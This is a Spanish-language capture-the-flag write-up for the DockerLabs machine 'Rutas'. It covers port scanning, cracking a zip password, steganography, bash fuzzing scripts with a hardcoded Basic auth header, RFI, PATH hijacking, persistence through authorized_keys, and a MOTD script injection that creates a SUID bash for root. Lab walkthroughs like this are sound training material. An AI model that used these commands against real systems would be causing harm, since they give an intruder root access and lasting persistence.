Post

Rutas , DockerLabs

portada

En este reto de DockerLabs practicamos.

  • Scan de puertos
  • Brute Force
  • Abusar MOTD
  • RFI
  • Path hijacking

Herramientas y recursos

  • nmap
  • feroxbuster
  • john the ripper
  • Scripting bash

Reconocimiento y enumeracion

Lo primero como siempre le tiramos un nmap con los parámetros de costumbre.

1
sudo nmap -p- -sS -sC -sV --min-rate=5000 -n -Pn -oX practicas  172.17.0.2

reporte

En este caso nos detecta el puerto 21 ftp abierto con login anonimo y ya nos muestra los archivos que dispone el servidor ,el 80 http abierto y por ultimo el shh 22 como siempre empezamos por lo menos invasivo que seria revisar la y el codigo fuente por si hay comentarios interesantes.

web

Vemos la pagima default asi que lanzamos un poco de fuzzing en busca ficheros y directorios.

1
feroxbuster -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 400 -x php,txt,jpg -u http://172.17.0.2

php1

Nos encuentra un index php asi que volvemos a revisarlo.

dominios

Revisando el codigo observamos que en los enlaces nos ofrecen varios dominios el que nos interesa es el del medio. Asi que lo agregamos al fichero hosts.

hosts

Con el dominio asignado procedemos de nuevo a revisar esa nueva ruta.

passweb

Vemos que es una configuracion de apache que nos pide user y pass, por el 80 llegamos hasta aqui sin ser invasivos , es momento de usar el ftp.

Hacemos login con ftp y descargamos los dos ficheros el hola no contiene nada y el zip esta protegido por contraseña. Procedemos a crackearlo

1
2
zip2john respeta.zip > hashzip 
john --format=PKZIP -w /home/quino/rockyou.txt hashzip

john

Le hacemos un unzip con la password que nos dio john.

oculto

El txt nos da un nombre de imagen y una url para buscarla.

Cuando vamos a la url vemos que es una web distintos writeups , posicionandonos encima de cualquier imagen vemos donde se guardan las imagenes , asi que solo tenemos que completar la url con el nombre de la imagen que nos proporcionaron en este caso crakpass.jpg

webimage

Comprobamos la imagen algo esconde.

stego

Hacemos uso de steghide y vemos que contiene un fichero zip al extraer el zip nos pide salvoconducto que no tiene y el zip nos tira el fichero pass que contiene las credenciales para poder entrar a la web alojada en el dominio.

Asi que accedemos a ver que nos esconden. Vuelve a ser la pagina por defecto tratemos de hacer fuzzing para buscar mas fondo y para ello hemos de saber que pasa con este tipo de autentificacion .

Yo mismo no consegui encontrar info acerca de como poder hacer fuzzing con los programas habituales , si que os puedo decir que capturando la peticion con burpsuite, tanto el pass como el user van en base64.

Despues de buscar como poder fuzear con ffuf un buen rato con comandos que no me aportaron mucho decido crear un par de scripts que realicen ese trabajo(para los habituales de si es necesario saber programar para red team , la respuesta es clara SI y yo he de aprender tambien).

Mis scripts

Obvio que con un poco de ayuda de la penosa gemini dado que chatgpt me tiene limitado el numero prompts.

Este primer script me sirve para buscar el parametro del posible LFI.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/bin/bash

# Verificar que se proporcione un argumento (archivo de palabras)
if [ $# -eq 0 ]; then
  echo "Uso: $0 <archivo_de_palabras>"
  exit 1
fi

# Archivo de palabras proporcionado por el usuario
wordlist="$1"

# Verificar que el archivo de palabras existe y es legible
if [ ! -f "$wordlist" ]; then
  echo "El archivo '$wordlist' no existe o no es legible."
  exit 1
fi

# Pedir al usuario las extensiones a probar
echo "Ingrese las extensiones separadas por espacios:"
read -r extensions

# Función para realizar la solicitud HTTP con curl
make_request() {
  local url="$1"
  local response=$(curl -s -o /dev/null -w "%{http_code}" -X GET "$url" -H "Authorization: Basic aGFja2VhZGE6ZGVudWV2bw==")

  if [ "$response" -eq 200 ]; then
    echo "URL exitosa: $url"
  fi
}

# Ciclo principal para recorrer cada palabra del archivo
while IFS= read -r word; do
  # Iterar sobre cada extensión proporcionada por el usuario
  for ext in $extensions; do
    url="http://trackedvuln.dl/${word}.${ext}"
    make_request "$url"
  done
done <"$wordlist"

echo "¡Finalizado!"

fuzarchivo

Como vemos nos encuentra el fichero index.php que no veiamos ahora podemos volver al navegador y darle un vistazo. Con unas pruebas en la web podemos ver que nos faltaria un parametro y para ello otro script.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/bin/bash

# Verificar que se proporcione un argumento (archivo de palabras)
if [ $# -eq 0 ]; then
  echo "Uso: $0 <archivo_de_palabras>"
  exit 1
fi

# Archivo de palabras proporcionado por el usuario
wordlist="$1"

# Verificar que el archivo de palabras existe y es legible
if [ ! -f "$wordlist" ]; then
  echo "El archivo '$wordlist' no existe o no es legible."
  exit 1
fi

# Pedir al usuario las extensiones a probar
echo "Ingrese las rutas de prueba de LFI separadas por espacios:"
read -r extensions

# Encabezado de autorización para la autenticación básica
auth_header="Authorization: Basic aGFja2VhZGE6ZGVudWV2bw=="

# Función para realizar la solicitud HTTP con curl y contar palabras
make_request() {
  local url="$1"
  local response=$(curl -s -H "$auth_header" "$url")
  local num_words=$(echo "$response" | wc -w)

  if [ "$num_words" -ge 87 ]; then  # Mostrar solo si tiene 87 palabras o más
    echo "URL exitosa: $url"
    echo "Número total de palabras en la respuesta: $num_words"
    #echo "Contenido de la respuesta:"
    #echo "$response"
    echo "---"
  fi
}

# Ciclo principal para recorrer cada palabra del archivo
while IFS= read -r word; do
  # Iterar sobre cada extensión proporcionada por el usuario
  for ext in $extensions; do
    url="http://trackedvuln.dl/index.php?${word}=${ext}"
    make_request "$url"
  done
done <"$wordlist"

echo "¡Finalizado!"

Es similar al anterior pero con ligeras modificaciones.

parametro

Ahora si vamos a la web a realizar las pruebas.

Encontramos que es valido para realizar algun ataque asi que si LFI no es probaremos con RFI.

socerror

Infiltracion y movimientos laterales.

Nos preparamos todo para intentar el RFI.

rfi

Tenemos exito se trata de un RFI. Una vez conectados vemos que hay dos usuarios norberto y maria , con la shell spawneada relizamos un sudo -l

sudol

Path hijacking

Como vemos podemos ejecutar baner el cual hace uso de el comando head y si nos fijamos bien casi nos dice lo que hay que hacer.

Nos desplazamos a /tmp que es donde el path de sudo nos va a leer el fichero que vamos a crear , dentro de tmp creamos un fichero con el nombre head y le damos permisos de ejecucion.

head

Una vez como norberto vemos que podemos realizar y encontramos un ficero de nombre .miscredenciales en el que nos dan alguna pista.

norberto

Despues de descifrar el pass que esta en braile probamos el pass en todos los lugares en los que se pueda utilizar exito con ssh.

logmaria

Vemos que estamos limitados en una especie de prision con permisos euid lo que limita nuestro movimiento.

Escapa de euid

Escapemos de ella para ello voy a crear un authorized_keys para poder usar todo el potencial de bash.

1
ssh-keygen -t rsa

Una vez creadas nos copiamos la clave publica al directorio de .ssh de maria.

1
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCwVUOX+NRg34q3JoWFGHWSSmeoJgveaKbbAIiLtLyCwbm2i2YhIPsU+8qqF7ML0knzE9UgTIAuJ/KSZYHKtsJ/ORitVivVgvBjPEflovDjLwwKrg0aSNbKri9bTutc1JNwRpUIK4B6934NaIv1xUg5zJXKeD4ZcRAO2wyiEtT2JcjeTdQnn2sENX2xlhkpbQMEcP8HlpNy2JOIeM01euDQ07aW0WO/xCL1LtAjdTv9vsbAksmXd4MAtDbKVP/+E5CMT3QWJxKn1scV2Pc2Pw4Ar4KuboUnEGD6BXbxtPyOF2JrMH4MTsyULTIdL5VvbjWPIbvq1g8aT8dEYuY5+5TP9gE97Pdwl15+CH/OQbSUDJAKV54K2mX53ab/OVbCFo0k1ZLFwlkNN1kDxIiml1HZxLOqEZuIxPrtRVA23ukq+Na4eKhTxIvFid8rvOCzKfD88O4o+ehRtMFuSMTHCsV4F+uSm1sleyiL5iJeta0JSLjaj/GMR/sog0o0zleoHoc= quino@libero' >> authorized_keys

Estamos listos para realizar login como dios manda estando situados en el directorio donde creamos las claves lanzamos el ssh.

1
ssh -i id_rsa maria@172.17.0.2

log10maria

En el directorio maria encontramos un fichero .mipass que nos da la pista. Asi que hacemos una busqueda

1
find / -user maria -perm /u=w 

find

Vamos a ver que le ponemos al fichero 00-header.

1
echo "cp /bin/bash /home/maria/bash && chmod u+s /home/maria/bash" >> /etc/update-motd.d/00-header

Una vez modificado el fichero solo nos queda volver a hacer login para que se ejecute lo que hallamos insertado.

bashp

Ahora en mi caso solo debo hacer un ./bash -p y soy root.

root

Nos encontraremos la misma situacion de antes pueden volver a usar el authorized_keys yo no lo probe con root pero debe fucnionar igual.

Hasta aqui la maquinita.

Escribanme si saben los comandos de wfuzz , ffuf para fuzzear en directorios restringidos.

Saludos. :-)

This post is licensed under CC BY 4.0 by the author.

Comments powered by Disqus.